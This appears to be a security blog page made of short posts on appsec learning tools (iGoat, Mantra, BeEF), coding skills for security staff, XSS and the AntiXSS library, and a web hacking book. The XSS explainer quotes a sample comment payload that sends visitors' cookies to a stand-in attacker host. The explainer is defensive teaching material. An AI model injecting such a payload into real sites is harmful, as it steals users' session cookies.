This is wicked stuff for those who’ve not seen it yet. BeEF is where it’s at.

The iGoat tool is a learning tool, primarily meant for iOS developers (but also useful to IT security practitioners, security architects, and others who simply want to learn about iOS security). It takes its name and inspiration from the venerable OWASP WebGoat tool. Like WebGoat, iGoat users explore a number of security weaknesses in iOS by exploiting them first. Then, once each weakness has been explored, the iGoat user must implement a remediation to protect against each weakness and validate that the remediation was successful–similar to the WebGoat Developer Edition.

Mantra is a collection of free and open source tools integrated into a web browser, which can become handy for students, penetration testers, web application developers,security professionals etc. It is portable, ready-to-run, compact and follows the true spirit of free and open source software.

Mantra is lite, flexible, portable and user friendly with a nice graphical user interface. You can carry it in memory cards, flash drives, CD/DVDs, etc. It can be run natively on Linux, Windows and Mac platforms. It can also be installed on to your system within minutes. Mantra is absolutely free of cost and takes no time for you to set up.

What I’m finding, though, when working with infosec teams around the globe, is that there’s a bit of apathy toward coding skills. Well, you heard it here, folks:

90% of your security problems are related to bad code, somewhere down the line.

And being a paranoid type, and a bit of a worrier about THINGS, I fear we’re losing some Kung Fu. What does the next generation of security folks look like? From what I can see, they’re even LESS inclined to code. This, in my opinion, is a problem.

If you’re in appsec it doesn’t fly now. It doesn’t mean you have to be a full, real-deal developer, but you need to not be afraid of it, and you need the builder’s mindset.

Cross-site scripting attacks, or XSS, are a common web application vulnerability in which an attacker uses your website to present malicious code to another user. OWASP sums it up like this:

Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user.

A simple example of this kind of attack works like this:

1. A hacker – we’ll call him Barry – notices that my blog’s comment system doesn’t screen input
2. Barry posts some malicious content, maybe something with a script tag, or maybe something that steals cookies, like
   Great post! Gucci handbags! <img src=’http://evil.ly/?cookies=’ + escape(document.cookie)” />
3. The next person to visit my site – we’ll call him Rob Conery – is presented with the HTML that Barry posted in the comment, which grabs their cookies and sends them off to their evil server

This is a simple example, but as you can imagine, these attacks can get pretty devious. Twitter, Facebook, and MySpace have been hit with this. Take a look at the OWASP writeup for more info, and take a look at the XSS Cheat Sheet at ha.ckers.org to get an idea of how sneaky these attacks can be.

AntiXSS

AntiXSS, part of the Windows Protection Library, has a lot of encoding functions which help prevent XSS attacks in ASP.NET applications. Whereas the standard .NET framework encoding uses a blacklist approach, filtering out known bad characters, like < > and ” characters, the AntiXSS library uses a whitelist of known good characters. AntiXSS also has protections in place spanning character sets in over a different languages. Due to this approach, AntiXSS is inherently safer against new XSS attacks.

There are two ways you can use AntiXSS in your ASP.NET applications:

1. You can make use of the AntiXSS Encoder in your application code (e.g. controller code, View markup, Web Forms code behind, and Web Forms markup)
2. If you’re using ASP.NET 4.0, you can also specify a default encoder, which will be used by ASP.NET whenever it needs to encode output. The recommended approach is to use AntiXSS as your default encoder.

This is about to be my world.

One significant new feature of the second edition is the inclusion throughout the book of real examples of nearly all of the vulnerabilities that are covered. Any place you see a Try it! link, you can go online and work interactively with the example being discussed, to confirm that you can find and exploit the vulnerability it contains. There are several hundred of these labs, which you can work through at your own pace as you read the book. The online labs are available on a subscription basis for a modest fee, to cover the costs of hosting and maintaining the infrastructure involved.

This is stellar news…I’m camping for this book. Like for an iPhone. Jacket, chair, the whole deal. This (WAHH) is the best technical book in existence in my view.

Few topics in the infosec world create as much heat as the classic “vulnerability assessment vs. penetration test” debate, and it’s no different in the web application security space. Sadly, the discussion isn’t usually around which is better. That would actually be an improvement. Instead the debate is usually semantic in nature, i.e. the flustered participants are usually disagreeing on what the terms actually mean. Step 1: agree on terms.

So, I’ll be ambitious here and will tackle both subcomponents of the debate here: 1) what the terms actually mean, and 2) which is better for organizations to pursue.

My latest post on the HP application security blog.